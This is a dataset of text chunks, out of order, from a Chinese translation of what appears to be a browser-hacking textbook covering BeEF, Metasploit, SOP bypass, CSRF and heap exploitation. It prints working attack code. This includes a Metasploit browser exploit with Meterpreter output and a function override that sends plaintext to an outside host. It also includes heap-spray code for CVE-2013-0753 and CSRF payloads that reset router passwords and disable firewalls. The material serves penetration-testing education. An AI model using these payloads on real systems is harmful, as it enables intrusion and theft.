    {"text": "而 LPORT 则是大多数主机都可以畅通无阻地访问到的一个端口，因此应该选择443（如果你不确定连接的层次），或者如果没有任何端口被封，也可以随机选择一个： msf exploit(ie_cgenericelement_uaf) > set LHOST browserhacker.com LHOST => 192.168.1.132 msf exploit(ie_cgenericelement_uaf) > set LPORT 443 LPORT => 443 msf exploit(ie_cgenericelement_uaf ) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.132:443 [*] Using URL: http://0.0.0.0:80/single [*] Local IP: http://192.168.1.132:80/single [*] Server started. 好了，现在服务器开始运行并等待连接了。"},
    {"text": "图 6-32 执行BeEF的Create Invisible IFrame模块 执行之后，稍等几秒，应该就可以在BeEF控制台中看到如下输出： [19:37:20][*] Hooked browser [id:1, ip:192.168.1.16] has been sent instructions from command module [id:4, name:'Create Invisible Iframe'] [19:37:25][*] Hooked browser [id:1, ip:192.168.1.16] has executed instructions from command module [id:4, name:'Create Invisible Iframe'] 在Metasploit控制台中，可以看到利用加载并发送到了Windows XP主机，最后打开了shell。 此时可以使用 sysinfo 命令收集关于目标电脑的更多信息： [*] 192.168.1.16 ie_cgenericelement_uaf - Requesting: /single [*] 192.168.1.16 ie_cgenericelement_uaf - Target selected as: IE 8 on Windows XP SP3 [*] 192.168.1.16 ie_cgenericelement_uaf - Sending HTML... [*] Sending stage (751104 bytes) to 192.168.1.16 [*] Meterpreter session 2 opened (192.168.1.132:3333 -> 192.168.1.16:1201) at 2013-06-08 19:42:51 -0400 meterpreter > sysinfo Computer : VM-1 OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : en_US Meterpreter : x86/win32 现在攻击目标系统上的shell已经掌握在你手里了，除非浏览器崩溃，否则网页应该会一直勾连到BeEF。"},
    {"text": "通过利用浏览器，你已经进入了目标系统，可以完成任何能够通过Metasploit完成的利用后的任务，包括逐步提升权限、攻击内部系统，或者在系统中安装永久性“后门”，以便该机器出现什么状况时，还能够在重启后再连接到你的机器。"},
    {"text": "其次要设置 LHOST 选项，也就是监听反向shell的监听主机： use auxiliary/server/browser_autopwn set LHOST 192.168.1.132 set SRVPORT 80 set URIPATH / exploit 这些Metasploit命令会选择Browser Autopwn辅助模块，设置 LHOST ，设置服务器端口以及URI。"},
    {"text": "Autopwn准备就绪时会显示以下消息： [*] --- Done, found 57 exploit modules [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.1.132:80/ [*] Server started. 由于Autopwn需要花很长时间，所以应该在利用过程中尽早启动，然后把它作为后备利用方案来用。"},
    {"text": "6.6.5 结合使用BeEF和Metasploit 结合使用BeEF和Metasploit，可以控制浏览器，采集浏览器指纹，以及在实际利用它之前取得尽可能多的信息。"},
    {"text": "要在BeEF中启用Metasploit，在BeEF主目录下编辑config.yaml文件，做如下修改将 metasploit 设置为 true ： extension: requester: enable: true proxy: enable: true metasploit: enable: true social_engineering: true 在extensions/metasploit/config.yaml 配置文件中，可以找到其他配置值。"},
    {"text": "以下是可能的配置变量： beef: extension: metasploit: name: 'Metasploit' enable: true host: \"127.0.0.1\" port: 55552 user: \"msf\" pass: \"abc123\" uri: '/api' ssl: false ssl_version: 'SSLv3' ssl_verify: true callback_host: \"127.0.0.1\" autopwn_url: \"autopwn\" auto_msfrpcd: false auto_msfrpcd_timeout: 120 接下来，需要通过 msfconsole 来启动Metasploit。"},
    {"text": "要加载这个接口，在 msfconsole 中执行如下命令： msf > load msgrpc Pass=abc123 [*] MSGRPC Service: 127.0.0.1:55552 [*] MSGRPC Username: msf [*] MSGRPC Password: abc123 [*] Successfully loaded plugin: msgrpc 这里，只需要指定密码。"},
    {"text": "好了，假设MSGRPC已经加载，在命令行上启动BeEF，应该能在控制台中看到以下输出，表示Metasploit已经加载了： [ 0:20:32][*] Successful connection with Metasploit. [ 0:20:34][*] Loaded 237 Metasploit exploits. [ 0:20:34][*] BeEF is loading. Wait a few seconds... [ 0:20:35][*] 11 extensions enabled. [ 0:20:35][*] 410 modules enabled. 此时BeEF已经连接到了Metasploit服务器，BeEF有能力自己启动Metasploit命令。"},
    {"text": "Unknown 5.1 内容劫持 在当前被勾连的浏览器中替换页面内容，是一种最简单但常常被忽视的攻击方法，用此方法可以诱导用户访问经过特意构造的内容或触发特定的操作。"},
    {"text": "BeEF模块Get Page HTML就基于此实现： try { var html_head = document.head.innerHTML.toString(); } catch (e) { var html_head = \"Error: document has no head\"; } try { var html_body = document.body.innerHTML.toString(); } catch (e) { var html_body = \"Error: document has no body\"; } beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'head='+html_head+'&body='+html_body); html_head 和 html_body 两个变量分别保存了文档的header和body的HTML代码。"},
    {"text": "BeEF模块中 net.send 的工作原理 我们曾在第3章中深入探讨了持续控制，但是BeEF在底层有许多有趣的代码，可以简化命令模块向框架传数据的流程。"},
    {"text": "这里的 beef.net.send() 方法就是个典型的例子。 为了能给命令模块提供一种可靠的方法，来将数据提交回BeEF服务器，BeEF在服务端提供了 beef.net.send() 方法以及与之相关的数据处理程序。 我们注意到，前面调用 beef.net.send() 方法时传了三个参数—— @common_url 、 @common_id 以及一个字符串值，在前面的例子中即： 'head='+html_head+'&body=' +html_body 。 BeEF会在命令模块被提交到用户浏览器前，对其进行一些处理：将 @command_url 替换为当前命令的URL，将 @command_id 替换为它的唯一ID。 当 beef.net.send() 发送回这些数据时，BeEF服务器能区分出数据源于哪个命令模块。"},
    {"text": "(1) beef.net.send() 将命令模块或其他BeEF库提供的任意数据添加到一个JavaScript数组中。 (2) BeEF的轮询器调用 beef.net.flush() 方法，该方法的功能如下： 将数组对象转化为JSON格式 1 ；"},
    {"text": "1 Mozilla. (2011). stringify- JavaScript | MDN . Retrieved November 15, 2013 from https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify 假设勾连的页面包含以下内容： <div id=\"header\">This is the title of my page</div> <div id=\"content\">This is where most of the content of my page rests. And this page has lots of interesting content</div> 你可以用下面的JavaScript代码，在不影响其他元素的前提下操作 header 元素： document.getElementById('header').innerHTML = \"Evil Defaced Header\"; 你也可以借助jQuery提供的强大的选择器来简化这些操作。"},
    {"text": "要使用BeEF提供的jQuery达到同样的功能，只需要执行以下代码： $j('#header').html('Evil Defaced Header'); BeEF包含了一个简单的模块，用来替换页面中的标准元素，包括HTML body、title以及图标。"},
    {"text": "这个模块提供了以下三个函数： document.body.innerHTML = \"<%= @deface_content %>\"; document.title = \"<%= @deface_title %>\"; beef.browser.changeFavicon(\"<%= @deface_favicon %>\"); 第一个函数用来把 document.body 的HTML代码，替换成用户通过 @deface_content 变量提交的动态内容。"},
    {"text": "2 Mozilla. (2013). HTML script element . Retrieved November 15, 2013 from https://developer.mozilla.org/en/docs/Web/HTML/Element/script Ruby的Erubis库提供了动态绑定的功能，也就是在模块真正被发送回浏览器前，才把模块中的值替换为真实值。"},
    {"text": "最后一个函数则提供了替换页面图标的功能，主要逻辑由 BeEF 的 changeFavicon() 函数完成，其原理是通过修改 document.head 元素，来移除所有现存的页面图标元素，然后再添加一个新的，例如： <link id=\"dynamic-favicon\" rel=\"shortcut icon\" href=\"http://browserhacker.com/favicon.ico\"> 如果这种简单粗暴的替换无法满足你的需求，你可以尝试使用Replace Component (Deface)模块。 比起前面那种只能整体替换 document.body 内容的方法，该模块提供了更细粒度的DOM元素选择和替换，示例如下（有些类似于之前使用jQuery重写指定元素的代码）： var result = $j('<%= @deface_selector %>').each(function() { $j(this).html('<%= @deface_content %>'); }).length; beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Defaced \" + result +\" elements\"); 通过使用jQuery提供的选择器 3 ，我们只需使用一条命令，就能实现对一个DOM元素或一组DOM元素的替换。 前面的代码使用 @deface_selector 变量作为选择器，然后使用 @deface_content 变量依次循环替换元素的HTML代码。"},
    {"text": "3 The jQuery Foundation. (2013). Selectors | jQuery API Documentation . Retrieved November 15, 2013 from http://api.jquery.com/category/selectors/ 除了这些整体替换元素的模块，BeEF也提供了一些自动重写DOM元素内容的模块。"},
    {"text": "替换HREF ：类似于Replace Component模块，这个模块循环替换所有 <a> 元素的HREF属性。 替换HREF（点击事件） ：这个模块和上一个“替换HREF”模块几乎一样，唯一的区别是只在 onClick 时才触发修改，而且并不真正修改元素的 HREF 属性。"},
    {"text": "Unknown 4.4 小结 本章深入探讨了SOP，以及在攻击浏览器时绕过它的重要性。绕过SOP可以让被勾连的浏览器成为开放代理。不仅如此，而且能够读取不同来源的HTTP响应，这会让接下来几章将要介绍的攻击技术变得可能。 要可靠地绕过SOP，重要的是要全面理解SOP的各种变形。最简单地，SOP就是把拥有相同主机名、协议和端口的资源视为同源。如果其中任何属性有所不同，那么资源就不是同源。只有同源的资源之间才能无限制地交互。然而，SOP在不同环境和浏览器中有着不一致的实现。比如，DOM中的SOP和插件中的SOP往往行为不同。 掌握了SOP的功能之后，我们介绍了很多绕过SOP的技术，因攻击的情景而不同。具体来说，本章介绍的绕过SOP的技术涉及在Java、Adobe Reader、Adobe Flash、Silverlight、IE、Safari、Firefox、Opera，甚至云存储中实现攻击。 明白如何绕过SOP之后，你的工具也会更丰富。比如通过目标浏览器的代理请求、利用界面伪装攻击，甚至揭示用户浏览器的历史记录。绕过SOP之后，能够为攻击浏览器打开方便之门。 对浏览器开发者来说，在不同浏览器类型、版本和插件中实现一致的（以及更重要的）强制性的SOP，是一项巨大的挑战。而主流浏览器中日益增加的新HTML5特性，也进一步提高了克服挑战的难度。这也是在未来一段时间，无论对攻击还是防御而言，绕过SOP依然非常重要的原因所在。"},
    {"text": "从Firefox 23开始，禁用JavaScript的选项已经消失（但在about:config中的javascript. enabled标签里还可以设置） 27 。 现在使用Firefox（不带NoScript扩展）的普通用户只能允许JavaScript运行。 JavaScript与浏览器的界限越来越模糊了。 27 Mozilla. (2013). Bug 873709—Firefox v23—Disable JavaScript Check Box Removed from Options/Preferences Applet . Retrieved August 12, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=873709 因此，在讨论浏览器攻击技术时，很难不涉及JavaScript。"},
    {"text": "HTML5的时代到来以后，WebSocket协议以及其他现代浏览器技术的逐渐普及，让了解浏览器如何保护数据，以及它如何与后端服务器传输数据变得愈发重要。"},
    {"text": "28 Matasano Security. (Unknown Year). Javascript Cryptography Considered Harmful . Retrieved August 12, 2013 from http://www.matasano.com/articles/javascript-cryptography/ 1. 怀疑Web应用 开发出健壮的JavaScript加密技术面临着一些障碍，其中最主要的是浏览器与Web应用间信任关系的复杂性。"},
    {"text": "浏览器在某些情况下会完全信任Web应用，而在另一些情况下则只会部分信任它。 一方面，Web应用得不到浏览器的充分信任，因此不能在应用中保存敏感数据。 另一方面，浏览器对于加密的JavaScript代码又会隐式地信任。"},
    {"text": "比如，考虑如下JavaScript代码： var key = String.fromCharCode(75 % 80 * 2 * 6 / 12); 在这个例子中，可以看到密钥是一个数学函数，然后结果被转换成一个字符。"},
    {"text": "29 Vladimir Vorontsov. (2013). @ ONsec_Lab: How XSS can defeat your digital signatures . Retrieved July 20, 2013 from http://lab.onsec.ru/2013/04/how-xss-can-defeat-your-digital.html 3. 覆盖函数 如果信任假的签名还不够，那么大多数JavaScript对象的函数都可以被覆盖（有作用域的区别）。"},
    {"text": "下面来看一个例子，看看如何使用 斯坦福大学JavaScript加密库 （Stanford JavaScript Crypto Library，简称SJCL） 30 覆盖函数。 打开JavaScript控制台，使用以下代码加载这个库： 30 Emily Stark, Mike Hamburg, and Dan Boneh. (2009). Stanford Javascript Crypto Library . Retrieved August 12, 2013 from https://crypto.stanford.edu/sjcl/ var sjcl_lib = document.createElement('script'); sjcl_lib.src = \"https://raw.github.com/bitwiseshiftleft/sjcl/master/sjcl.js\"; document.getElementsByTagName('head')[0].appendChild(sjcl_lib); 把这个库加载到DOM中以后，使用以下代码来测试 encrypt 函数： sjcl.encrypt(\"password\", \"secret\") 结果是一个包含密文（ ct ）及其他参数的数据结构，可用于加密过程。"},
    {"text": "下面的代码展示了不仅可以透明地覆盖 encrypt 函数，而且还可以取得密文： chained_encrypt = sjcl.encrypt sjcl.encrypt = function (password, plaintext, params, rp) { var img = document.createElement(\"img\"); img.src = \"http://browserhacker.com/?ch06secret=\" + plaintext; document.head.appendChild(img); return chained_encrypt(password, plaintext, params, rp) } sjcl.encrypt(\"password\", \"secret\") 以上代码连缀了 encrypt 函数，所以仍然会调用它。"},
    {"text": "与安全行业的很多部门一样，内存管理的防御领域也存在着“军备竞赛”，出现新的利用技术，就会出现新的安全机制，比如ASLR 31 、DEP 32 、SafeSEH 33 和堆cookie 34 。"},
    {"text": "31 PaX Team. (2003). Address space layout randomization . Retrieved August 12, 2013 from http://pax.grsecurity.net/docs/aslr.txt 32 Microsoft. (2009). Understanding DEP as a mitigation technology part 1 - Security esearch & Defense--Site Home--TechNet blogs . Retrieved August 12, 2013 from http://blogs.technet.com/b/srd/archive/2009/06/05/understanding-dep-as-a-mitigation-technology-part-1.aspx 33 Microsoft. (Unknown Year). /SAFESEH (Image has Safe Exception Handlers) . Retrieved August 12, 2013 from http://msdn.microsoft.com/en-us/library/9a89h429(v=vs.80).aspx 34 Microsoft. (2009). Preventing the exploitation of user mode heap corruption vulnerabilities . Retrieved August 14, 2013 from http://blogs.technet.com/b/srd/archive/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities.aspx 你的目标是利用你能够掌控的功能去修改和组织内存结构，以便于你进一步入侵。"},
    {"text": "35 Alexander Sotirov. (Unknown Year). Heap Feng Shui in JavaScript . Retrieved August 12, 2013 from http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html 2. Firefox与jemalloc 内存管理器或者内存分配器，负责管理分配到堆的虚拟内存。"},
    {"text": "36 Jason Evans. (2012). jemalloc . Retrieved August 12, 2013 from http://www.canonware.com/jemalloc/ Firefox使用jemalloc在它支持的平台上进行动态内存管理，这些平台包括Windows、Linux、OS X和安卓。"},
    {"text": "37 Wikipedia. (2013). Principle of locality - Wikipedia, the free encyclopedia . Retrieved August 12, 2013 from http://en.wikipedia.org/wiki/Principle_of_locality 在Firefox中，块会被进一步分为run（访问），负责最大2048字节的请求和分配需求。"},
    {"text": "图 6-27 jemalloc的架构 38 38 Patroklos Argyroudis and Chariton Karamitas. (2012). Exploiting the jemalloc Memory Allocator: Owning Firefox''s Heap . Retrieved August 12, 2013 from https://media.blackhat.com/bh-us-12/Briefings/Argyoudis/BH_12_Argyroudis_Exploiting_the_%20_jemalloc_Memory_%20Allocator_WP.pdf 3. 为利用重排Firefox内存 为了实现利用，关键在于把jemalloc内存重新排列为适合攻击的状态。"},
    {"text": "39 CVE. (2013). CVE-2013-0753 . Retrieved August 12, 2013 from http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0753 遗憾的是，调用这个函数的时候，人们大多不会做足够的检查，因此导致它出现漏洞。"},
    {"text": "实现这个初始堆喷射的JavaScript代码如下： /* 第一阶段要执行的大小和数量 * 这一阶段目标是`nsHTMLElement' * 的一个实例`mNextSibling'指向的类*/ BIG_SPRAY_SZ = 65534; BIG_SPRAY_NUM = 1 << 11; var buf = \"\"; var container_1 = []; // 使用`pad'在左侧填充`str' // 数量为`length' function lpad(str, pad, length){ while(str.length < length) str = pad + str; return str; } //小端字节序Unicode字符串用双倍字长 function get_dwle(dw){ wh = lpad(((dw >> 16) & 0xffff).toString(16), \"0\", 4); wl = lpad((dw & 0xffff).toString(16), \"0\", 4); escaped = \"%u\" + wl + \"%u\" + wh; return unescape(escaped); } /* 小端字节序Unicode字符串用四倍字长 *(由于精度限制，不能给函数传入64位整数， * 这里用双倍字长代替) */ function get_qwle(dwh, dwl){ return get_dwle(dwl) + get_dwle(dwh); } // `callq *0x5f8(%rax)'中`rax'的值 buf += get_qwle(0x117012000); //小端字节序Unicode字符串用四倍字长 // `testb $0x8, 0x2c(%r14)'要检查的标志 buf += unescape(\"%u8888%u8888%u8888%u8888\"); buf += unescape(\"%u8888%u8888%u8888%u8888\"); // `rip'的值, 应该在 `%rax + 0x5f8' buf += get_qwle(0x4142434445464748); buf = generate(buf, BIG_SPRAY_SZ); for(i = 0; i < BIG_SPRAY_NUM; i++) container_1[i] = buf.toLowerCase(); 如果这次堆喷射成功，内存地址0x117012000处内容的模式将类似图6-28所示。"},
    {"text": "图 6-28 内存中的结果内容 由于存在漏洞的原因，本次JavaScript利用中的硬编码地址最终会到达rax寄存器，而且由于该漏洞，目标进程会运行 call *0x5f8($rax) 。 因为rax寄存器中的值是攻击者通过JavaScript利用控制的，所以前面的指令将把Firefox的执行流引导到该值所表示的地址。"},
    {"text": "这样做的结果就是堆内存中受控制的堆区域间会出现128字节的缺口。 采用这个技术可以确保以后分配的128字节，极有可能恰好放到刚刚创建的这些堆缺口内。"},
    {"text": "以下JavaScript代码用于在序列化时修改DOM树，触发漏洞条件： var s = new XMLSerializer(); // 要创建的触发UAF的DOM子元素的数量 NUM_CHILDREN = 64; // 第二阶段允许执行的数量 // 本阶段目标是`HTMLElement'的实例 SMALL_SPRAY_NUM = 1 << 21; GC_TRIGGER_THRESHOLD = 100000; // 触发垃圾收集 function trigger_gc() { var gc = []; for(i = 0; i < GC_TRIGGER_THRESHOLD; i++){ gc[i] = new Array(); } return gc; } var stream = { write: function() { // 删除子元素并触发垃圾收集 // 会触发某些堆漏洞 for (i = 0; i < NUM_CHILDREN; i++) { parent.removeChild(children[i]) delete children[i]; children[i] = null; } trigger_gc(); // 取得上面创建的漏洞（`buf'仍然保存着必要数据） for (i = 0; i < SMALL_SPRAY_NUM; i += 2) container_2[i] = buf.toLowerCase(); } }; s.serializeToStream(parent, stream, \"UTF-8\"); 垃圾收集器会被调用，以释放相应的堆区域，而且一次小型堆喷射会发生，以重新分配之前由 HTMLUnknownElement 实例占据的内存区域。"},
    {"text": "40 Mozilla. (2013). 814001—(CVE-2013-0753) [FIX] XMLSerializer Use-After-Free Remote Code Execution Vulnerability (ZDI-CAN-1608) . Retrieved August 12, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=814001 虽然这里举的例子并没有自己执行代码，但以此为基础可以通过很多手段去设置64位指令指针或RIP值，指向内存中任意位置的代码，从而实现代码执行。"},
    {"text": "10 P. Watkins. (2001). Cross-site Request Forgeries . Retrieved June 15, 2013 from http://www.tux.org/~peterw/csrf.txt 9.5.1 理解跨站点请求伪造 XSRF攻击利用了Web应用对其用户的HTTP请求的信任。"},
    {"text": "因而攻击者可以在另一个源中，以用户身份执行以下代码： beef.execute(function() { var gateway = 'http://192.168.100.2/'; var passwd = 'new_password'; // 对每个IP启动远程管理并修改管理员密码 var cisco_e2400_iframe1 = beef.dom.createIframeXsrfForm \\ (gateway + \"apply.cgi\", \"POST\", [ {'type':'hidden', 'name':'submit_button', 'value':'Management'}, {'type':'hidden', 'name':'change_action', 'value':''}, {'type':'hidden', 'name':'action', 'value':'Apply'}, {'type':'hidden', 'name':'PasswdModify', 'value':'0'}, {'type':'hidden', 'name':'http_enable', 'value':'1'}, {'type':'hidden', 'name':'https_enable', 'value':'1'}, {'type':'hidden', 'name':'ctm404_enable', 'value':''}, {'type':'hidden', 'name':'remote_mgt_https', 'value':'1'}, {'type':'hidden', 'name':'wait_time', 'value':'4'}, {'type':'hidden', 'name':'need_reboot', 'value':'0'}, {'type':'hidden', 'name':'http_passwd', 'value':passwd}, {'type':'hidden', 'name':'http_passwdConfirm','value':passwd}, {'type':'hidden', 'name':'_http_enable', 'value':'1'}, {'type':'hidden', 'name':'_https_enable', 'value':'1'}, {'type':'hidden', 'name':'web_wl_filter', 'value':'0'}, {'type':'hidden', 'name':'remote_management', 'value':'1'}, {'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'}, {'type':'hidden', 'name':'remote_upgrade', 'value':'1'}, {'type':'hidden', 'name':'remote_ip_any', 'value':'1'}, {'type':'hidden', 'name':'http_wanport', 'value':'8080'}, {'type':'hidden', 'name':'nf_alg_sip', 'value':'0'}, {'type':'hidden', 'name':'ctf_disable', 'value':'0'}, {'type':'hidden', 'name':'upnp_enable', 'value':'1'}, {'type':'hidden', 'name':'upnp_config', 'value':'0'}, {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'}, ]); // 禁用防火墙和Java/ActiveX检测 var cisco_e2400_iframe2 = beef.dom.createIframeXsrfForm \\ (gateway + \"apply.cgi\", \"POST\", [ {'type':'hidden', 'name':'submit_button', 'value':'Firewall'}, {'type':'hidden', 'name':'change_action', 'value':''}, {'type':'hidden', 'name':'action', 'value':'Apply'}, {'type':'hidden', 'name':'block_wan', 'value':'0'}, {'type':'hidden', 'name':'block_loopback', 'value':'0'}, {'type':'hidden', 'name':'multicast_pass', 'value':'1'}, {'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'}, {'type':'hidden', 'name':'ident_pass', 'value':'0'}, {'type':'hidden', 'name':'block_cookie', 'value':'0'}, {'type':'hidden', 'name':'block_java', 'value':'0'}, {'type':'hidden', 'name':'block_proxy', 'value':'0'}, {'type':'hidden', 'name':'block_activex', 'value':'0'}, {'type':'hidden', 'name':'wait_time', 'value':'3'}, {'type':'hidden', 'name':'ipv6_filter', 'value':'off'}, {'type':'hidden', 'name':'filter', 'value':'off'} ]); beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \\ \"result=exploit attempted\"); cleanup = function() { document.body.removeChild(cisco_e2400_iframe1); document.body.removeChild(cisco_e2400_iframe2); } setTimeout(\"cleanup()\", 15000); }); 多数情况下这些代码都可以跨域得到信任。"},
    {"text": "BeEF的dom.js核心文件的JavaScript API可以用来动态创建HTML表单： createIframeXsrfForm: function(action, method, inputs){ // 宽高都是1像素的不可见的内嵌框架 var iframeXsrf = beef.dom.createInvisibleIframe(); var formXsrf = document.createElement('form'); formXsrf.setAttribute('action', action); formXsrf.setAttribute('method', method); // 添加到表单的输入数组(type, name, value). // 比如 [{'type':'hidden', 'name':'1', 'value':''} // {'type':'hidden', 'name':'2', 'value':'3'}] var input = null; for (i in inputs){ var attributes = inputs[i]; input = document.createElement('input'); for(key in attributes){ input.setAttribute(key, attributes[key]); } formXsrf.appendChild(input); } // 表单附加到了隐藏的IFrame,并提交 iframeXsrf.contentWindow.document.body.appendChild(formXsrf); formXsrf.submit(); return iframeXsrf; } 以上API方法可以让模块方便地创建随时可用的XSRF攻击，而且之后还可以连环实施其他利用。"},
    {"text": "11 BeEF Project. (2012). CSRF Virgin Superhub . Retrieved October 8, 2013 from https://github.com/beefproject/beef/issues/703 这意味着跨域请求可以在目标设备上执行一些重要的操作。"},
    {"text": "如果用户经过了认证，以下代码就可以重置管理员密码、禁用防火墙并启用远程管理： var gateway = 'http://192.168.100.1/'; var passwd = 'BeEF12345'; var port = '31337'; // 将默认的路由器密码重置为'BeEF12345' var iframe_1 = beef.dom.createIframeXsrfForm( gateway + \"goform/RgSecurity\", \"POST\", [ {'type':'hidden', 'name':'NetgearPassword', 'value':passwd}, {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} ]); // 禁用防火墙 var iframe_2 = beef.dom.createIframeXsrfForm( gateway + \"goform/RgServices\", \"POST\", [ {'type':'hidden', 'name':'cbPortScanDetection', 'value':''} ]); // 在端口31337启用远程管理 var iframe_3 = beef.dom.createIframeXsrfForm( gateway + \"goform/RgVMRemoteManagementRes\", \"POST\", [ {'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'}, {'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port} ]); 如果你通过浏览器攻击路由器，回报会非常丰厚。"},
    {"text": "9.5.3 使用CSRF token获得保护 如果在浏览器发送给Web应用的请求后面，加上一个伪随机token（防御XSRF的token）作为参数，那么XSRF攻击可能会失败 12 。 下面是一个常规的、存在漏洞的HTML表单： 12 Chris Shiflett. (2004). Cross-Site Request Forgeries . Retrieved June 15, 2013 from http://shiflett.org/articles/cross-site-request-forgeries <form name=\"addUserToAdmins\" action=\"/adduser\" method=\"POST\"> <input type=\"hidden\" name=\"userId\" value\"1234\"> <input type=\"hidden\" name=\"isAdmin\" value\"true\"> <input type=\"submit\" value=\"Add to admin group\" \\ style=\"height: 60px; width: 150px; font-size:3em\"> </form> 以下是添加了防御XSRF的token的表单： <form name=\"addUserToAdmins\" action=\"/adduser\" method=\"POST\"> <input type=\"hidden\" name=\"userId\" value\"1234\"> <input type=\"hidden\" name=\"isAdmin\" value\"true\"> <input type=\"hidden\" name=\"TOKEN\" value\"asasdasd86a\\ sd876as87623234aksjdhjkashd\"> <input type=\"submit\" value=\"Add to admin group\" style=\"height: 60px; width: 150px; font-size:3em\"> </form> 还说前面攻击Cisco E2400的例子。 如果HTML表单通过防御XSRF的token保护起来，攻击就可能失败。"},
    {"text": "通过XSS绕过防御XSRF的token 防御XSRF的token的作用是降低跨站点请求伪造攻击成功的可能性，但对XSS无效。 如果目标Web应用使用了防御XSRF的token，而你通过勾连控制了目标源，则可以绕过该保护机制。"},
    {"text": "比如，mailto:模式就会打开电子邮件客户端。 如果HTML页面中有一个链接指向mailto:，那么用户点击它，浏览器就会打开相应的外部应用，以便发送电子邮件。"},
    {"text": "23 Nitesh Dhanjani. (2010). Insecure Handling of URL Schemes in Apple's iOS . Retrieved July 10, 2013 from http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html Dhanjani的研究调查了原生iOS协议处理例程，例如tel:处理程序。"},
    {"text": "为了允许其他应用利用自定义的URI模式，苹果在其Info.plist说明 24 中包含了 CFBundleURLTypes 数组类型，可以从下面这段代码中看到： 24 Apple. (2010). Information Property List Key Reference : Core Foundation Keys . Retrieved July 10, 2013 from http://developer.apple.com/library/ios/#documentation/general/Reference/InfoPlistKeyReference/Articles/Core-FoundationKeys.html#//apple_ref/doc/uid/TP40009249-SW1 <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLName</key> <string>com.skype.skype</string> <key>CFBundleURLSchemes</key> <array> <string>skype</string> </array> </dict> </array> Skype不仅将这个模式暴露给浏览器，也接受额外的参数。"},
    {"text": "图 6-24 iOS尝试在Skype中拨打电话 Dhanjani的研究探索了一些分析Info.plist文件的方法，包括从越狱的iOS设备中把它们复制出来，或者通过iTunes从应用备份中提取它们。"},
    {"text": "在OS X中，这种文件通常位于~/Music/iTunes/iTunes Media/Mobile Applications目录下。 在Windows中，通常位于C:\\Users\\<user>\\MyMusic\\iTunes\\iTunes Media\\Mobile Applications\\目录下。"},
    {"text": "6.4.2 滥用三星Galaxy USSD（Unstructured Supplementary Service Data，非结构化补充服务数据），是GSM蜂窝电话与用户的通信服务商直接通信的一种协议。"},
    {"text": "当然，USSD还有其他用途，比如手机银行，甚至还可以用于更新Twitter和Facebook。 虽然很多USSD码可以打开与电信服务商的实时连接，但其中很多在手机里都有与之对应的特定操作。"},
    {"text": "比如，大多数智能手机打开拨号盘后输入 *#06# ，有时候都不必点击拨号键，就可以显示你的IMEI（International Mobile Station Equipment Identity，国际移动识别码）。"},
    {"text": "25 Ravishankar Borgaonkar. (2013). Dirty use of USSD codes in cellular networks . Retrieved July 10, 2013 from https://www.troopers.de/wp-content/uploads/2012/12/TROOPERS13-Dirty_use_of_USSD_code_in_cellular-Ravi_Borgaonkor.pdf Borgaonkar的研究后来又发现了安卓手机可以接收USSD码并执行的多种方式。"},
    {"text": "某些情况下，如果不正确地输入SIM码三次，SIM就会锁住，直到输入正确的PUK（PIN Unlocked Key）码。 如果不正确地输入10次PUK码，就会导致SIM卡失效，因此不能再使用。"},
    {"text": "Unknown 4.5 问题 (1) 什么是同源策略，以及为什么它对浏览器安全如此重要？ (2) 为什么攻击者对绕过SOP非常感兴趣？ (3) 解释一下怎么使用被勾连的浏览器作为HTTP代理。在绕过SOP和不绕过SOP的情况下，使用它有什么不同？ (4) 描述在Java中绕过SOP的一种方案。 (5) 解释一下在Safari中绕过SOP的原理。 (6) 解析一下Adobe Reader SOP绕行技术与XEE漏洞的关系。 (7) 描述一个点击劫持的例子。 (8) 描述一个文件劫持的例子。 (9) 攻击浏览器历史记录的方法是怎样演变的？描述基于缓存计时的一种最新攻击方法。 (10) 为什么分析浏览器API很重要？描述一种对Avant或Maxthon浏览器进行攻击的方法。 要查看问题的答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。"},
    {"text": "cookie是在浏览器中存储数据的一种简单的机制。 cookie存储的数据有时候非常重要。 因为cookie有很多用途，既可以存储会话标识符——这样当你访问网站时，网站会记住你是谁；"},
    {"text": "cookie可以在浏览器关闭再打开后仍然有效，也可以随着浏览器窗口关闭而被立即删除。 cookie由Web应用负责维护，保存在浏览器的本地数据库里，相应的数据由Web应用设置和管理。"},
    {"text": "为了在浏览器中设置cookie，应用需要发送一个Set-Cookie的响应首部，其中包含cookie的内容： cookie的名称 cookie的值 cookie的失效日期 cookie适用的路径 cookie适用的域 其他cookie相关属性 本节就来介绍Set-Cookie请求的这些属性，以便理解后续要介绍的cookie攻击方法。"},
    {"text": "require 'rubygems' require 'thin' require 'rack' require 'sinatra' require 'json' class CookieDemo < Sinatra::Base get \"/\" do response.set_cookie \"session_cookie\", {:value => 'yes', :domain => 'browserhacker.com', :path => '/' , :httponly => true} response.set_cookie \"persistent_cookie\", {:value => 'yes', :domain => 'browserhacker.com', :path => '/' , :httponly => true , :expires => Time.now + (60 * 60 * 7) } \"\\n\" + request.cookies.to_json + \"\\n\\n\" end end @routes = { \"/\" => CookieDemo.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"browserhacker.com\", 4000, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 可以通过 curl 来查看发送的cookie，比如： curl -c cookiejar -b 